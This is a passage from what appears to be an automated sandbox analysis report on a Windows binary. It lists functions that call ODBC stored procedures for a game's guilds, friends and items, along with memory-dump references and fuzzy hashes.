                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetFriend] (?)}
                                                                                                                            • API String ID: 0-989915190
                                                                                                                            • Opcode ID: 91863826a00242da09067007fe9479bb7c348ed793b7b2778eff6a8bd794c6e5
                                                                                                                            • Instruction ID: ef44f8327274ffa8e992c487ed5434e1bfdee7817b3ee5f6e37350fc3426912d
                                                                                                                            • Opcode Fuzzy Hash: 91863826a00242da09067007fe9479bb7c348ed793b7b2778eff6a8bd794c6e5
                                                                                                                            • Instruction Fuzzy Hash: 161121B0A40258ABEB24CF44CC42FAD73B5FB44714F14828AF6586A2C0DAB56D409F98
                                                                                                                            Function 004246BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxNGuild] (?) } ,000000FD), ref: 004246DD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042470D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424739
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxNGuild] (?) } , xrefs: 004246D4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxNGuild] (?) }
                                                                                                                            • API String ID: 0-915918733
                                                                                                                            • Opcode ID: 03d59a90ed2f1f619dacafe24cfb9a045a06fbf313fbe854e1c95bee0dbd0b5a
                                                                                                                            • Instruction ID: f47e2565f7d9c67925826dfcff188297d33bb2dd10663f09b954a046049355a1
                                                                                                                            • Opcode Fuzzy Hash: 03d59a90ed2f1f619dacafe24cfb9a045a06fbf313fbe854e1c95bee0dbd0b5a
                                                                                                                            • Instruction Fuzzy Hash: F411DEB5A44308ABEB14CF94CC52FAE7775EB84B18F208209F7186F3C4D6B5A850CB58
                                                                                                                            Function 00432709 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetBlock] (?)},000000FD), ref: 00432732
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432771
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004327A9
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetBlock] (?)}, xrefs: 00432729
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetBlock] (?)}
                                                                                                                            • API String ID: 0-2166742067
                                                                                                                            • Opcode ID: 91c2b612f89150722df79f01fc55aed4a636f7675fa349b8bda66aa95fc50707
                                                                                                                            • Instruction ID: 94e3733dd991de42adc38b9770581bc15b154033e59a4aa513dbd026b3495fbb
                                                                                                                            • Opcode Fuzzy Hash: 91c2b612f89150722df79f01fc55aed4a636f7675fa349b8bda66aa95fc50707
                                                                                                                            • Instruction Fuzzy Hash: A811E2B1B4521DABFB24CF44CC41FEA7374EB84714F104289F6146A2C5D6B56B508F99
                                                                                                                            Function 004248D7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxNGuildMark] (?) } ,000000FD), ref: 00424900
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042493F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424977
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxNGuildMark] (?) } , xrefs: 004248F7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxNGuildMark] (?) }
                                                                                                                            • API String ID: 0-487146417
                                                                                                                            • Opcode ID: 48edd7fd241feab3e3788bb1480843c2d54cdaa382ee852e2f42cca87031f1a2
                                                                                                                            • Instruction ID: 65561e6992041605236e856bfed97de7d7d96b974b0925506b45b0916ce76eee
                                                                                                                            • Opcode Fuzzy Hash: 48edd7fd241feab3e3788bb1480843c2d54cdaa382ee852e2f42cca87031f1a2
                                                                                                                            • Instruction Fuzzy Hash: E311F1B4A40218ABEB64CF64CC52F9A7374EB45714F208289F71C6A3C5D6B56D90CF58
                                                                                                                            Function 00424A63 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetMaxNGuildMember] (?) } ,000000FD), ref: 00424A8C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424ACB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424B03
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetMaxNGuildMember] (?) } , xrefs: 00424A83
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetMaxNGuildMember] (?) }
                                                                                                                            • API String ID: 0-141562404
                                                                                                                            • Opcode ID: 4fea9f8cc0d31b562694be13f0f287c26a367f9f767dbe5e942997efb76ceacf
                                                                                                                            • Instruction ID: 185a31892f4e271109d394eef7eaa4148795d8404fa608e4727cd0395c23437f
                                                                                                                            • Opcode Fuzzy Hash: 4fea9f8cc0d31b562694be13f0f287c26a367f9f767dbe5e942997efb76ceacf
                                                                                                                            • Instruction Fuzzy Hash: 90111FB0A44318ABEB60CF44CC51F9A7376EB84714F208289F7186A2D4C771A980CF59
                                                                                                                            Function 00430087 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignGetItemList] (?)},000000FD), ref: 004300B0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004300EF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430124
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignGetItemList] (?)}, xrefs: 004300A7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignGetItemList] (?)}
                                                                                                                            • API String ID: 0-3611377028
                                                                                                                            • Opcode ID: e35f1aa5121f5cca1a2fd3ee9e9dcdcbf19ea9118434d5ac1249f54078d46365
                                                                                                                            • Instruction ID: cc6997be2512ce304c86f38cef3d5dc163f074f95cf94b9f0ba0e57eeeb1fb36
                                                                                                                            • Opcode Fuzzy Hash: e35f1aa5121f5cca1a2fd3ee9e9dcdcbf19ea9118434d5ac1249f54078d46365
                                                                                                                            • Instruction Fuzzy Hash: 59113BB0A8021BABEB24CF44DC41FBA7375EBC4714F1041D9F6246B2C4D6726D508F58
                                                                                                                            Function 0043645F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelLootItem](?)},000000FD), ref: 00436488
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004364C7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004364FC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelLootItem](?)}, xrefs: 0043647F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelLootItem](?)}
                                                                                                                            • API String ID: 0-567900136
                                                                                                                            • Opcode ID: 50109ba548eb4aa6e0cf6e4c237a9aa964bb044691ff8898fb680a7ec0592221
                                                                                                                            • Instruction ID: aa455963f57553aa499d7634f5a4f2691cb0051695b8003bfd61b5e9c9b60a1d
                                                                                                                            • Opcode Fuzzy Hash: 50109ba548eb4aa6e0cf6e4c237a9aa964bb044691ff8898fb680a7ec0592221
                                                                                                                            • Instruction Fuzzy Hash: 2011ECB5A44219EBFB24CF54CC42FAA7774EB44714F218389F6186B2C4DAB5A940CF58
                                                                                                                            Function 0042541C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ClearNGuildPostBox] (?) } ,000000FD), ref: 00425445
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00425484
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004254B9
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ClearNGuildPostBox] (?) } , xrefs: 0042543C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
